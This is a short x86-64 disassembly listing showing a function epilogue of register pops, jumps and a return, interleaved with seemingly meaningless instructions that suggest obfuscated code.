shl r15, 5
test r8, r14
add r15, r14
mov qword [r13 + 0x10], r15
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
movzx ebx, r12w
movsx r12d, sp
mov bl, dh
pop rbx
pop rdi
mov r15w, sp
movzx r15, cx
bswap r15
pop rsi
cmovp r14d, r12d
jmp 0x1403f0421
pop r12
bswap r15d
pop r13
bswap r14w
jmp 0x1403f0435
pop r14
movsx r15, ax
pop r15
jmp 0x1403f0442
ret
call fcn.1404b2253
int3